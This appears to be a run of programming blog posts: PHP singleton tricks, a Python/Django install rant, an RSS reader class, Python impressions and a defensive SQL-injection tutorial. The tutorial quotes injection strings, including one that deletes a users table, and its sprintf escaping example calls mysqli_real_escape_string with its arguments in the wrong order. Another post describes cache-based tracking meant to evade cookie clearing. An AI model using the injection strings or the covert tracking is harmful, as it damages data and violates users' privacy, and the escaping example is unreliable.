<?php
class Greeter {
	protected $count;
 
	private function __construct() {
		$this->count = 1;
	}
 
	public function hello() {
		return 'Hi ' . $this->count++;
	}
 
	public static function getInstance() {
		static $instance = null;
		if ($instance === null) {
			$class = get_called_class();
			$instance = new $class();
		}
		return $instance;
	}
}
 
class FrenchGreeter extends Greeter {
	public function hello() {
		return 'Bonjour ' . $this->count++;
	}
}
 
echo Greeter::getInstance()->hello(); //Outputs 'Hi 1'
echo Greeter::getInstance()->hello(); //Outputs 'Hi 2'
echo FrenchGreeter::getInstance()->hello(); //Outputs 'Bonjour 1'
?>

Now, there are a few fun snippets in this piece of code. Let’s start at the top:

Private constructors

private function __construct();

A private constructor? Yep. That means that only the Greeter class can construct a new instance of itself. You can try it if you’d like:

$bob = new Greeter();
Fatal error: Call to private Greeter::__construct() from invalid context in C:\Users\Josh\Examples\singletons.php on line 1

Told you so. So this prevents anyone from sneakily constructing a new instance of the class when we’re not looking. On to the next snippet.

Static variables

public static function getInstance() {
	static $instance = null;

Defining statically scopped variables within functions is a feature borrowed from C. All static variables, whether defined in a method or in the class definition, are bound to the function and will persist across calls. The initial assignment (setting the variable to null) is only executed once – when the variable is declared. You can only assign scalar values on a static variable declaraion so the null assignment and check are necessary to if we are to assign an object or array to the variable.

You can use static variables in instance methods and plain old functions too. If you do use them in an instance method then remember that the variable is bound to the class and not the instance. Take a look at the following code:

<?php
class Counter {
	function count() {
		static $count = 1;
		return $count++;
	}
}
 
class SubCounter extends Counter { 
}
 
$a = new Counter();
$b = new Counter();
$c = new SubCounter();
echo $a->count(); //Outputs 1
echo $b->count(); //Outputs 2
echo $c->count(); //Outputs 1

Even though $a and $b are two seperate instances the static $count variable is scoped to the method, which is in turn scoped to the class, so is shared between instances. When we call the method on $c our static variable is bound to SubCounter so we get the value of 1.

Fetching the current class name

$class = get_called_class();

The get_called_class method is a long overdue addition to PHP and was added in the 5.3 release with the introduction of late static binding. The function returns the class which the current method was invoked on. The older get_class (when called with no arguments) and __CLASS__ magic constant always return the name of the class where the current method was defined (compile time binding). Let’s take a look.

<?php
class A {
	public function who() {
		echo __CLASS__;
		echo get_class();
		echo get_class($this);
		echo get_called_class();
	}
 
	public static function whoStatic() {
		echo __CLASS__;
		echo get_class();
		echo get_called_class();
	}
}
 
class B extends A {
}
 
$a = new A(); 	
$b = new B(); 	
$a->who();          //Outputs AAAA
$b->who();          //Outputs AABB
A::whoStatic();    //AAA
B::whoStatic();    //Outputs AAB

The get_class() function is a kind-of dual purpose function. If an object is passed to the function then it returns the name of that object’s class. Otherwise it acts like __CLASS__.

Instance methods always give us an implicit $this variable, which we can easily pass to get_class(). However, static methods have no such luxury. Before the introduction of late static binding there was absolutely no way to determine which class a static method was called on.

Variable variable functions

$instance = new $class();

This is one of PHP’s niftier features. Any variable lookup, function call or class instantiation can be performed on a string value. PHP calls these Variable variables and Variable functions. Let’s check out some examples.

<?php
$var = 'city';
$city = 'London';
echo $$var;	//Outputs 'London'
 
$a = 'foo';
$b = 'bar';
$foobar = 'Found me';
echo ${$a . $b}; //Outputs 'Found me'
 
$a = 'b';
$b = 'c';
$c = 'd';
$d = 'The end';
echo $$$$a; //Outputs 'The end';
 
function greeting() { echo 'Hi'; }
$func = 'greeting';
$func(); //Outputs 'Hi'

This allows for some neat meta-programming. Though care should be taken not to abuse the functionality.

So there you have it, four advanced PHP examples from one design pattern (that you should never, ever use).

I’ve worked with PHP for over six years. It has it’s warts (and how) but it’s very much a known quantity at this point. On the other hand, when I have used Python it’s been a much more pleasant experience. The fact that this is a personal project makes the decision easier: let’s ditch old mate LAMPhp go with LAMPy. It’s almost dinner time and the latter sounds like it’d go well with an ale anyway. So, starting with a brand new dev box, where do I begin?

1. Go to the Python website
   Of course. So P-Y-T-H-O-N-DOT-C-O-M, Enter. Er. Not exactly what I was looking for (and not what you should be looking for if your boss is anywhere nearby). Let’s try that again. Google to the rescue. Apparently I want DOT-O-R-G.
2. Choose a binary
   OK, so I know from listening to the fine folks over at proggit that there is an attempted Python 2 to 3 migration happening at the moment. There is no point investing my time in an outdated version so I’ll grab the 3.1 download.
3. Install Python
   C:\Python31. Hmm. Python, I know that you have a high opinion of yourself but you’re not that important to me just yet. You can go play nice in Program Files with all the other programs.
4. Download Django
   Now it’s Django’s turn. There’s the installer. Python 2.3 or higher, you say. Well logically 3 is higher than 2.3, but doesn’t Python 3 have problems with it’s younger siblings? Let me just check with a hit of the old Google… yup, as I thought. We’ll have to go with the older version.
5. Install Python
   Python 2! It’s not quite as fun when you know your downloading an outdated model.
6. Install Django
   So I’ve downloaded Django and now I’ve got an archive full of Python files. How do I install them?
7. Read the instructions
   But I hate doing that!
8. Run setup.py
   So I have to run the included setup.py file? If I launch the file from Explorer it prints something then immediately exits. Let’s open up the command line, cd to the correct location and run it again.
9. Run setup.py install
   OK, I forgot the “install” argument. You could have just told my with a popup; slept after printing the error; or heaven forbid, prompted me for an action. At least it’s working… can’t copy!? What do you mean?
10. Run setup.py install as an administrator
    Ah, of course you can’t copy to my Program Files. Time to launch a new command window as an administrator, renavigate to the archive and install.
11. Start a Django project
    You have to love the feeling you get when something works first time.
12. Define database settings
    Edit my project settings, easy enough.
13. Run the Django server
    Error: MySQLdb blah blah blah. What does that mean? Wait, Python does come with MySQL extensions right? Right!? It’s not like it’s one of the the most popular RDBMS on the planet.
14. Google it
    Hi Google. Yes, I’m back again. Do you know which module I want? Wow. That’s a lot of results. Are these the same? I’m looking for MySQLdb, not MySQL-Python. Ah, I see. They’re the same.
15. Go to SourceForge
    Why is this on SourceForge? Who’s distributing it? Ah, screw it. There is a big download button. I’m sure it’s safe. I mean, the button is green. Green is good. Red is bad. I didn’t get this far without learning a few things.
16. These are not the files you are looking for
    What do you mean they are the C files? I want a binary installer dammit. I’m a Windows user. I’m like a ten year old who still has training wheels on his bike; I don’t know anything about make files and building binaries.
17. Get the binary
    At least I know where the binaries can be downloaded… don’t I? Why do the binaries stop at Python 2.5 on the SourceForge page?
18. Google it!
    Yes, Google, I know I was just here. Just tell me where I can get a binary. Please stop laughing at me.
19. Download a binary
    There are a bunch of unofficial installers. Which one do I choose? bobs-super-awesome-mysql-python-for-2.6.exe looks reputable.
20. Install MySQLdb
    Great, a proper installer this time. It looks a bit “Windows 95″ but beggers can’t be choosers. At least with an installer this should be eas… Hmmm, it’s frozen.
21. Think back
    Wait, the other installer didn’t like running in user mode either. Perhaps if I run as root. Ah ha. That’s done it.
22. Install Python
    How silly of me. It should be obvious that all the C extensions only offer win32 versions. What exactly is the point of having a 64 bit binary then? Let’s reinstall Python. Joy of joys.
23. Enjoy
    Success at last. Time to revel in my new found smugness as a Pythonista: “If the implementation is easy to explain, it may be a good idea.” You tell ‘em Guido.

The Takeaways

Sarcasm is fun! Fixing things is hard. Despite the tone of what I’ve said above there are quite a few frustrating  hurdles that face those new to Python and Django.

• If the .com variant of your website is a port site then you have problems. Developers might know to go to the right site but think of clueless managers.
• The Python download page should spell out the benefits and drawbacks to each binary download. Be realistic. It’s better that the developer gets the version they need first time rather than having to come back later on for seconds, or thirds.
• It’s not the 90’s any more. It’s not acceptable to expect to be installed to C:\ root.
• I didn’t mention it in the article but Python doesn’t add itself to my PATH. Having to dig around in my computer settings to be able to easily run Python from the command line is a pain.
• Win64 has existed for a long time now. Shouldn’t it be supported by common modules?
• Installers should be aware of restrictions introduced by Vista’s UAC model. This is basic stuff. Hanging on install without displaying errors is not acceptable.
• The MySQL module should not be a second-class citizen maintained by some third party. If you want to poach PHP developers then you have to speak their language.
• Setup tools could be a lot friendlier by prompting the user for an operation if an argument is not provided.
• The Django download page should make it clear that Python 3 is not supported. Dropping backwards compatibility is not actually that common in other languages.

for CHANGED in $(svn status | sed "s/^.......//" | awk "/.\./"); do
    echo $CHANGED;
    ls -l "$CHANGED";
done | cat > changes.txt

The sed naively removes the first nine characters from the file status from the svn status output, which should just leave the file name.

The awk removes all files and paths without an extension – this was necessary because I later fed the output through ls, and I didn’t want any folder listings.

The cat allows me to direct the output to a file. If you aren’t piping to a file then you can omit that part.

Finally, ls -l shows the mtime of the file. To show the atime I could have used ls -lu, though the results of this were a little inconsistant for me (some times were after the mtime, which seemed counter-intuative). I used ls because I couldn’t seem to find a replacement for stat that was available on a vanilla Solaris install.

If you’re on a Linux box the following should work just as well (without trying to filter by extension):

for CHANGED in $(svn status | sed "s/^.......//"); do
   stat "$CHANGED";
done | cat > changes.txt

Of course, I’m still new to bash coding so if you have a script that simplifies this I’d love to hear about it.

• Read both Atom and RSS feeds.
• Easy initialisation and feed iteration (one line for each).
• Cache URL contents (default is 60 minutes).
• Graceful degradation: fail gracefully on errors (errors result in a 0 item feed which can be iterated through).
• Single XML implementation for leaner code (SimpleXML).

Firstly, my usage examples:

$feed = new Feed('http://www.example.com/feed.rss');
 
//Get items with next() or current()
echo $feed->next()->title;           // "Blog post 1"
echo $feed->next()->title;           // "Blog post 2"
echo $feed->current()->title;        // "Blog post 2"
 
//Feed data returned
echo $feed->current()->title;        // "Blog post 2"
echo $feed->current()->date;         // int(1265569159)
echo $feed->current()->description;  // "Lorem ipsum dolar..."
echo $feed->current()->link;         // "http://www.example.com/blog/2"
echo $feed->current()->image;        // "http://www.example.com/blog/images/2.jpg"
 
//Get multiple items in single call
foreach ($feed->find(3) as $item) {
	echo $item->title;               // "Blog post 3" "Blog post 4" "Blog post 5"
}
 
//Reset internal counter
echo $feed->reset();
echo $feed->next()->title;           // "Blog post 1"
 
//Get random items, without repeating
echo $feed->random()->title;         // "Blog post 4"
echo $feed->random()->title;         // "Blog post 1"
 
//Total number of items
echo $feed->count();                 // int(10)

The implementation is below. I failed on the single-class requirement, instead choosing to use the Template design pattern and break the actual XML DOM navigation out into a seperate class for each feed type. This keeps the overall design a lot cleaner.

<?php
/**
 * Simple reader for RSS and Atom feeds. 
 * Requires: SimpleXML, fopen_wrappers
 * Limitations: Not content encoding support. 
 * 
 * Usage:
 *     $feed = new Feed('http://www.example.com/feed.rss');
 *
 *     //Get items with next() or current()
 *     echo $feed->next()->title;           // "Blog post 1"
 *     echo $feed->next()->title;           // "Blog post 1"
 *     echo $feed->next()->title;           // "Blog post 2"
 *     echo $feed->current()->title;        // "Blog post 2"
 *
 *     //Feed data returned
 *     echo $feed->current()->title;        // "Blog post 2"
 *     echo $feed->current()->date;         // int(1265569159)
 *     echo $feed->current()->description;  // "Lorem ipsum dolar..."
 *     echo $feed->current()->link;         // "http://www.example.com/blog/2"
 *     echo $feed->current()->image;        // "http://www.example.com/blog/images/2.jpg"
 *
 *     //Get multiple items in single call
 *     foreach ($feed->find(3) as $item) {
 *         echo $item->title;               // "Blog post 3" "Blog post 4" "Blog post 5"
 *     }
 *
 *     //Reset internal counter
 *     echo $feed->reset();
 *     echo $feed->next()->title;           // "Blog post 1"
 *
 *     //Get random items, without repeating
 *     echo $feed->random()->title;         // "Blog post 4"
 *     echo $feed->random()->title;         // "Blog post 3"
 *
 *     //Total number of items
 *     echo $feed->count();                 // int(10)
 */
class Feed {
	private $url;
	private $reader;
	private $current;
	private $remaining;
 
	public $cacheTime = 3600;
 
	/**
	 * Create Atom reader object.
	 *
	 * @param string $url
	 */
	public function __construct($url) {
		$this->url = $url;
		$this->reset();
	}
 
	/**
	 * Reset current item to first RSS item.
	 */
	public function reset() {
		$this->current = -1;
		$this->remaining = null;
	}
 
	/**
	 * Get the next item in the feed.
	 *
	 * @return stdClass Object representing the item. Will return null when the list is exhausted.
	 */
	public function next() {
		if ($this->current < $this->count()) {
			$this->current++;
			$next = $this->getReader()->item($this->current);
			return $next;
		}
	}
 
	/**
	 * Get the current item in the feed.
	 *
	 * @return stdClass Object representing the item. Will return null when the list is exhausted.
	 */
	public function current() {
		return $this->getReader()->item(max(0, $this->current));
	}
 
	/**
	 * Get random item from the feed. Will not return an item more than once.
	 *
	 * @return stdClass Object representing the item. Will return null when the list is exhausted.
	 */
	public function random() {
		if ($this->remaining === null) {
			$this->remaining = array();
			for ($i = 0; $i < $this->count(); $i++) {
				$this->remaining[] = $i;
			}
		}
 
		if (count($this->remaining)) {
			$picked = array_rand($this->remaining);
			$index = $this->remaining[$picked];
			unset($this->remaining[$picked]);
			return $this->getReader()->item($index);
		}
	}
 
	/**
	 * Get X items from feed. Will advance pointer.
	 *
	 * @param int $count
	 * @return array of stdClass
	 */
	public function find($count) {
		$items = array();
 
		while ($item = $this->next()) {
			$items[] = $item;
			if (count($items) >= $count) {
				break;
			}
		}
 
		return $items;
	}
 
	/**
	 * Get the number of items in the feed.
	 *
	 * @return int
	 */
	public function count() {
		return $this->getReader()->count();
	}
 
	/**
	 * Get FeedReader object for the feed.
	 *
	 * @return FeedReader
	 */
	private function getReader() {
		if (!$this->reader) {
			$xml = $this->getXML();
			if (RSSReader::canRead($xml)) {
				$this->reader = new RSSReader($xml);
			} else if (AtomReader::canRead($xml)) {
				$this->reader = new AtomReader($xml);
			} else {
				$this->reader = new NullReader($xml);
			}
		}
		return $this->reader;
	}
 
	/**
	 * Get XML element for the feed.
	 *
	 * @return SimpleXMLElement
	 */
	private function getXML() {
		if ($xml = $this->getCacheXML()) {
			return $xml;
		} else if ($xml = $this->getURLXML()) {
			return $xml;
		} else {
			return new SimpleXMLElement("");
		}
	}
 
	/**
	 * Get XML element for the feed from cache.
	 *
	 * @return SimpleXMLElement or null if cache doesn't exist.
	 */
	private function getCacheXML() {
		//Store URL data in local cache.
		$cacheFilename = $this->getCacheFilename();
		if (file_exists($cacheFilename) &amp;&amp; (time() - filemtime($cacheFilename)) < $this->cacheTime) {
			if ($data = file_get_contents($cacheFilename)) {
				return new SimpleXMLElement($data);
			}
		}
	}
 
	/**
	 * Get XML element from the feed from the live URL.
	 * Will cache XML data to disk.
	 *
	 * @return SimpleXMLElement or null if URL is unreachable.
	 */
	private function getURLXML() {
		if ($data = @file_get_contents($this->url)) {
			try {
				$xml = new SimpleXMLElement($data);
				file_put_contents($this->getCacheFilename(), $data);
				return $xml;
			} catch (Exception $e) {
				return null;
			}
		}
	}
 
	/**
	 * Name of the cache file for current URL.
	 *
	 * @return string
	 */
	private function getCacheFilename() {
		return sys_get_temp_dir() . '/' . md5($this->url) . '.feed.cache';
	}
}
 
/**
 * Interface for reading items from feed.
 */
interface FeedReader {
 
	/**
	 * Create reader from SimpleXMLElement.
	 *
	 * @param SimpleXMLElement $root
	 */
	public function __construct(SimpleXMLElement $root);
 
	/**
	 * Get single node.
	 *
	 * @return array or null.
	 */
	public function item($index);
 
	/**
	 * Get number of items.
	 *
	 * @return int.
	 */
	public function count();
 
	/**
	 * Can this reader understand the XML file?
	 *
	 * @param SimpleXMLElement $root
	 * @return bool
	 */
	public static function canRead(SimpleXMLElement $root);
 
}
 
/**
 * Concrete implementation of FeedReader that will never return an item.
 */
class NullReader implements FeedReader {
 
	public function __construct(SimpleXMLElement $root) {
		//Nothing
	}
 
	public function count() {
		return null;
	}
 
	public function item($index) {
		return null;
	}
 
	public static function canRead(SimpleXMLElement $root) {
		return true;
	}
}
 
/**
 * Concrete implementation of FeedReader that will read an Atom feed.
 */
class AtomReader implements FeedReader {
 
	private $root;
 
	public function __construct(SimpleXMLElement $root) {
		$this->root = $root;
	}
 
	public function count() {
		return count($this->root->entry);
	}
 
	public function item($index) {
		$node = $this->root->entry[$index];
 
		if (!$node) {
			return null;
		}
 
		$item = array(
			'title' => (string)$node->title,
			'description' => (string)$node->description,
			'image' => null,
			'link' => null,
			'date' => strtotime($node->published),
		);
 
		//Iterate through link nodes getting content URL and images.
		foreach ($node->link as $link) {
			if (strpos($link['type'], 'text') === 0 || $item['link'] === null) {
				$item['link'] = (string)$link['href'];
			}
			if (strpos($link['type'], 'image') === 0) {
				$item['image'] = (string)$link['href'];
			}
		}
 
		return (object)$item;
	}
 
	public static function canRead(SimpleXMLElement $root) {
		//Check for Atom namespace.
		return in_array('http://www.w3.org/2005/Atom', $root->getNamespaces());
	}
}
 
/**
 * Concrete implementation of FeedReader that will read an RSS feed.
 */
class RSSReader implements FeedReader {
 
	private $root;
 
	public function __construct(SimpleXMLElement $root) {
		$this->root = $root;
	}
 
	public function count() {
		return count($this->root->channel->item);
	}
 
	public function item($index) {
		$node = $this->root->channel->item[$index];
 
		if (!$node) {
			return null;
		}
 
		return (object)array(
			'title' => (string)$node->title,
			'description' => (string)$node->description,
			'url' => (string)$node->link,
			'image' => null,
			'date' => strtotime($node->pubDate),
		);
	}
 
	public static function canRead(SimpleXMLElement $root) {
		//RSS feeds name their root node 'rss'.
		return $root->getName() == 'rss';
	}
}

There are a few things missing, namely any kind of encoding awareness and correct error handling. It also requires SimpleXML and allow_url_fopen to be enabled. On the plus side the code is simple enough to hack in new features as they are needed.

I’m releasing this code under the BSD License, so feel free to take and modify it for any purposes.

To track a user I make use of three URLs: the container, which can be any website; a shim file, which contains a unique code; and a tracking page, which stores (and in this case displays) requests. The trick lies in making the browser cache the shim file indefinitely. When the file is requested for the first – and only – time a unique identifier is embedded in the page. The shim embeds the tracking page, passing it the unique ID every time it is loaded. See the source code.

One neat thing about this method is that JavaScript is not strictly required. It is only used to pass the message and referrer to the tracker. It would probably be possible to replace the iframes with CSS and images to gain JS-free HTTP referrer logging but would lose the ability to store messages so easily.

As to how useful this actually is; the only use cases I can really think of are not exactly legitimate. The most obvious is to track users who won’t accept cookies. This does have advantages over cookies too; namely that this kind of tracking is completely silent. Virus scanners which search for an delete tracking cookies won’t affect sites using this method. Likewise, manually clearing cookies won’t work.

The most practical implementation would be to use this in concert with cookies to make tracking IDs more sticky, so they could outlast a user clearing their cookies. I’ve also been looking into adapting the link colour hack to store custom values in the browser history (this is easily doable). Combining these three techniques would mean a user would have to simultaneously clear their cache, their history and their cookies to circumvent tracking.

Today I started encountering the cryptic error message “This is not a valid gadget package” on a project I’ve been working on for the last few days. This is not the most useful of error message and had me perplexed for a little while. It turns out there are a couple of common causes for this problem:

• Firstly, simple zipping up a folder and renaming it to foo.gadget generally won’t work. Your gadget.xml manifest must be in the top level of the archive and Windows native zip handling (and most third part applications) will compress a folder, not its contents. To get around this you can zip the files from inside your gadget directory. This problem stung me the first time I tried to run my application, but is fairly easy to diagnose – just check the contents of the zip file after you’ve created in and before you rename it.
• Some people have reported problems when setting the application version number to a simple value like “1″ won’t work. You need to use the format {major.minor.revision.build}. Changing the version to 1.0.0.0 should be fine. It’s possible this only affects Vista; I couldn’t replicate this in Windows 7, and this wasn’t the cause of the error I was encountering.
• The gadget.xml file must be in UTF-8 (or ASCII) format. UTF-16 simply won’t work. Windows 7 will warn you of an invalid manifest in this situation, which is more helpful than the generic error message I was getting.
• Eventually I stumbled onto the solution to my problem. It turns out that if you include a zero length files in your gadget archive then it can’t be installed. I’d removed some styles from a stylesheet, leaving it blank. Simply removing the file caused the problems to clear up.

All in all nothing was really learnt from this other than error messages should include information specific to the error and that there should be a debug more for gadget development.

The gadget I’m developing is very plain; meant more as an experiment than something useful, but I did build a few small tools that made development easier and that I hope to share in the near future.

While my first, naive, assumptions were that Twitter was a simple read/write system that could be knocked up in a week, numerous people have pointed out the many challenges that the website faces. TechCrunch has revealed that Twitter handles 3 million messages a day, from 200,000 active users. Many people have pointed out the fact that some Twitter users have upwards of 30,000 followers, and are themselves following that number of members themselves. This lead to the general consensus that Twitter is really just a giant messaging system, not just your basic CRUD setup.

I found this conclusion to be a lot more insightful than the the usual “Rails sucks” arguments that are floating around. The view was echoed by a Twitter obsessed friend the other day who asked my opinion on how a hypothetical Twitter clone could be built. He was also of the opinion that the difficult part would be creating a robust messaging system to distribute messages to storage shards and other distribution systems (SMS and any other “push” delivery mechanisms). Viewed from that perspective, it becomes an interesting engineering challenge. I’m sure that a stable system could be built without too many problems.

Based on this line of thought I was pretty surprised to read today that Twitter is running on a single master MySQL database with just two slaves serving out reads. Ouch. If they ran smoothly then there would be no reason to doubt that the company know what they are doing. However, this is obviously not the case. Even more confusing is an old blog post in which Twitter developers reveal that their biggest problems occur when users with many followers post. I can’t really imagine what setup would account for that. It sounds like a denormalized database contained within a single physical server, which just sounds like lot of effort for little gain.

For a company that has just secured a second, $15 million, round of funding their performance is ridiculous. Out of a over a dozen staff they have only three or four tech guys. If I were investing I’d be asking what the hell is going on. I’m not trying to pretend that Twitter would be an easy fix, I don’t envy the engineers. They have to maintain their current (failing) product while simultaneously pushing to build a completely different system behind the scenes. I’ve been there, and it’s not fun. Apart from having to siphon off precious developer time to keep the old system patched up, they have to face the uphill task of rebuilding everything. Having a huge user-base makes this even more difficult, as they need to get this right first try. No one is going to be happy if an updated version falls over, drops features, or is any way inferior to what they have now. It wouldn’t be surprising to see the new version of their back end systems continuously delayed far into the future.

It should be interesting to see how and if Twitter recovers from all of this. The user base seems to have been fairly forgiving up until now. Even I signed up knowing all the problems they have. Having many bloggers shouting their praise wont hurt them much. Even the many complaints are free press, really. I doubt an stable Twitter would have been written up on TechCrunch quite so much. They do face the threat of someone stealing their glory though. Each day they have outages is a gift to the dozens of Twitter clones that are undoubtedly out there. Just think Friendster; I’m sure they’ll be stable any time now.

Picking an Editor

I believe that the editor can make a huge difference to how you perceive a new language. What might be a massively frustrating time-sapping bug in one could be pointed out and corrected be another. Python doesn’t have any kind of officially recommended editor, and it can take a few hours to really get the feel of an IDE. Picking an editor when you don’t even know a language is even worse.

Dive Into Python suggested using Activestate’s Pythonwin. Unfortunately this advice seems to be very dated; the IDE was functional, but basic. I appreciated the in-built debugger and auto complete, but the editor itself seemed a little too rudimentary.

I eventually switched over to Open Komodo, also by ActiveState. The IDE is very good and does a lot of hand-holding that newbies appreciate, like looking after whitespace issues, providing auto-complete and picking up syntax errors. It does have a few drawbacks: it’s an editor, not an IDE, so you will need to run and debug your code outside the editor. It’s missing a few basic features, like a function list, but the problems are fairly minor. It is built on Firefox’s XUL platform so perhaps we’ll see more extensions becoming available in the near future.

Interactive Shell

The number one tool for making Python easy for beginners would have to be the interactive shell. There have been countless times when I’ve just jumped over to the shell to test how certain Python functions work. Even copying and playing with examples in the Dive Into Python book helps you better absorb the information. In other languages testing functionality would mean I’d need to create a new file, add my code, save it to a temporary location and then execute it. The interactive shell actively encourages me to experiment with how object behave, rather than adopting a cargo-cult mentality of just using what has worked in the past.

The White Space Issue

Python’s use of white space seems to be a big issue amongst those that are not familiar with the language. It was one of the objections that I faced when proposing it at work. It tends to put Python in the “weird language” basket, which is unfortunate. After using the language I’d say that the white space issue is largely irrelevant.

It does have some negative effects. It means you’ll have to watch out for tab/space issues, but a good IDE should do that for you. It also make refactoring a little bit more difficult; I like to sometimes comment out a conditional statements, but that is not possible in Python. Sometimes I also like to indent my code for readability, for example if I’m printing out HTML I’ll indent some child elements to indicate that they are related to previous lines. Again, that’s not possible. The biggest issue I see is that there is nothing stopping you from accidentally breaking the flow of your code. If you took a Python code file and removed the whitespace you can loose meaning:

for item in list:
if item.available:
item.update()
item.check_stock()

It’s impossible to tell where the statements should be. Are we calling check_stock on every item, or just the available ones? Sure, this is contrived, but I can see something like this happening.

The advantages of the white space convention become very obvious very quickly. Python code is very compact. Not “what-the-hell-is-this-Perl-code-doing” compact, but actual readable compact non-ugly code. I’ve heard some people describe it as “prose”. That is going a bit far, but it is very neat and easy to read.

Lists, Dicts and Tuples

Python makes working with data sets incredibly easy. It has made me realise how much of my programming is actually just munging sets. Something I’d envisage as the driving part of a module can be converted from a nest of loops and conditional statements into a single line.

Python list comprehension is the magic that makes this happen. What makes it even better is that the code is just as readable, perhaps even more so, than the verbose multi-line version. Python’s syntax makes list invocations feel like a natural extension of for loops, meaning it is a great way to get programmers stuck in the imperative mindset on board.

#Hmmm
new_list = []
for item in old_list:
    if item % 2 == 0:
    new_list.append(item * 2)
 
#Yay, list comprehensions sort it all out
new_list = [item * 2 for item in old_list if item % 2 == 0]

I’ve used map and filter functions to do the same thing in the past, but the lambda functions feel like they are out of place when transforming a list.

Syntactic Sugar

People love to repeatedly trot out one or two new features in the blog posts they write when they’ve just discovered a language. I’m no different. However I usually end up look at these contrived examples with a skeptical “but how often do you really use that?” So I’ll do you a favour and share some features that will become second nature to you in Python.

Tuple (and list) unpacking is a really neat feature. It makes a lot of code very concise. In this example the range function returns a list of [0, 1, 2]. The values are unpacked and assigned to the three variables a, b and c.

a, b, c = range(3)

This gives you the cool feature of multiple return values in a way that fits into the language and doesn’t feel bolted on. Even better, it does it without needing to implement some one-off syntax to achieve it. You can use the same unpacking feature anywhere in your code. And yes, you will use it.

data = [(1, 3), (3, 6), (4, 7)]
print [x + y for x, y in data]
#x and y are automatically unpacked

Another neat feature is the way Python treats everything as an object. This means the following code is perfectly valid.

"!" * 5
"Hello world".split()
", ".join(values)

Note that join works on the string variable, not a list as you may expect. This is not as widely used as the tuple unpacking, but does have it’s place with string munging.

Modules

One of the (few) compliments given to PHP is that it has modules for pretty much anything. From my experience, albeit limited, with Python I’d have to say that it deserves the same accolades. The project I have been working on has made use of threads, queues, HTTP servers and clients, config and command line parsers as well as sub processes (including writing to stdin and reading stdout). Everything I’ve wanted has been available as a pre-packaged module. (OK, I lie, I wanted a HTML generator. I ended up downloading markup.py and was up and running in a couple of minutes). Each of the pre-packaged modules seems well written too. Their components can be set up and used with little or no boilerplate and does what I need with very few exceptions.

The actual module system is a welcome sight for a PHP programmer. It’s a lot better than the “throw everything into the global namespace” method I’ve grown used to. It also means you can be sure that your required modules actually exist at runtime, instead of facing the prospect of your program failing mid-execution with “function X does not exist”

Documentation

PHP has spoilt me with its fantastic documentation. Python documentation is adequate, but it could be better. The API reference shows the functions and classes within a module, but could benefit code examples, gotchas and so on. It would also be great to find more links between related parts of the Python documentation. Usually I’ll need to supplement the Python documentation with a Google search for more information. PHP’s comment section is great in this regard. If someone posts to the documentation then they usually have something worth saying.

It’s Guido

One cools thing I’ve noticed when searching for Python examples is that Guido van Rossum’s name keeps appearing all over the place. I don’t know much about Guido, but it’s cool to see a language creator being so heavily involved in his creation. It is a kind of vote of confidence that makes me feel the language is worth learning.

Am I a Convert?

So, Python’s a great language, but am I a convert? Is this the end of PHP for me? Well, no. It’s a bit soon to be making that call. I’ve only used the language for a few weeks, and the first couple of weeks in a new project are always the most productive.

There are still quite a few things I like about PHP too: its documentation, easy integration with Apache and the new OO features are making it much more bearable. My knowledge and experience with PHP is not something I want to throw away on a whim. I know PHP’s strengths and weaknesses. I know exactly how far I can push it before things go bad. That knowledge is not something to underestimate. At this stage Python is still an unknown. I have no idea how will it perform in a web environment or how it will handle itself under a large load.

So, Python is a language that I can choose to use when appropriate. I can honestly say it’s been enjoyable so far and I’ll look forward to learning more.

So You Want More?

If you want to learn Python right now then check out the free Dive Into Python book.

If you are looking for something more lightweight, then the Python in Ten Minutes tutorial is a good one.

Unfortunately I can’t find anything that fills in the gaps between these two resources. If you do know of something then please let me know by leaving a comment below.

For those who don’t know, the problem occurs when you fail to properly escape variables being placed into your strings. For example the SQL statement "SELECT * FROM users WHERE name = '$name'" will fail if $name is set to ' or '1' = '1. The string will be expanded to produce SELECT * FROM users WHERE name = '' or '1' = '1'. This is obviously not what you wanted, and could lead to very bad results when coupled with DELETE or UPDATE queries.

Some database libraries (but not MySQL’s PHP extension) allow multiple SQL statements inside a single call, so if $name was set to '; DELETE FROM USERS -- in the previous example the first query would be ended by the semicolon and a second query would then delete all users and open a comment so that your database will ignore any trailing characters.

Magic Quotes

PHP 4 introduced a feature called magic quotes that was intended to combat SQL injection. It did this by automatically adding backslashes before any quotes or slashes in your scripts input ($_GET or $_POST). This is widely regarded as a major mistake, as it was tackling the issue in the wrong spot. If you’ve ever seen a page which leaves backslashes in your input (think O\’Connor) then you know what I mean.

Magic quotes were also a failure because developers couldn’t ever assume that they were available or turned on in a given environment. Therefore they’d need to check and manually quote values if necessary, meaning there was no added value. These days you will probably need to do the opposite and unquote values when magic quotes are enabled. The comments in PHP’s manual page offer a method of doing this.

A Better Solution

The solution to SQL injecting is to stop thinking of SQL as a single string and start thinking of it as a command with arguments. To do this you must define the SQL statement and arguments separately. The MySQL Improved Extension (mysqli) and PHP Data Objects library both offer prepared statements which will allow you to define a query, and then to define the values for arguments inside the query.

$stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (:name, :value)");
$stmt->bindValue(':name', $name);
$stmt->bindValue(':value', $value);
$stmt->execute();

If you feel that prepared statements are not for you then you can still define your SQL and arguments separately. I recommend using sprintf do this.

$sql = sprintf("SELECT * FROM user
			WHERE name = '%s'
			AND id > %d",
		mysqli_real_escape_string($name, $db),
		mysqli_real_escape_string($id, $db));

This is a little more verbose than what you are probably used to, but it makes it easy to see when a value has not been escaped. The escape function needs your DB link because it will match the encoding that your database is using. This gives you extra security against SQL injections. I use func_get_args and vsprintf to create a function to do the querying and escaping in a single function.

Final Tips

Your final line of defence against SQL injection is to plan for the worst.

Make sure that the MySQL user your website is using only has the permissions it needs, and no more. You should set up a new user with INSERT, UPDATE, DELETE and SELECT permissions on your current tables only.

It is a good idea to perform rolling database backups on a regular basis. This will obviously protect against database corruption, but could also make the difference between a vulnerability being a short outage or a complete loss of data.

You should avoid printing your SQL errors (e.g. mysql_error()) if your database calls fail. This can give attackers clues as to where you have errors in your code. It also looks unprofessional.

Physical Access

Even if your security is foolproof (which it won’t ever be) then you’re still in trouble if someone steals a physical device containing your data. Time and time again you’ll hear of someone stealing a laptop or discs containing sensitive information. Often these is no reason for the data to be in such a vulnerable location in the first place. If you do need to copy data from your secure setup then encrypting it is a very good idea.

General Security Rules

I hope this tutorial has made you aware of some of the security issues you’ll be up against as a PHP developer. I’d like to leave you with a few tips that aren’t specific to any security issue, but are good to keep in mind.

• Build on the work of others. Don’t build your own security when you can use what other, smarter, people have already done.
• Where possible use whitelists instead of blacklists.
• Never trust your user’s input. Ever.

Other articles in this series

• Securing Your PHP Code – XSS
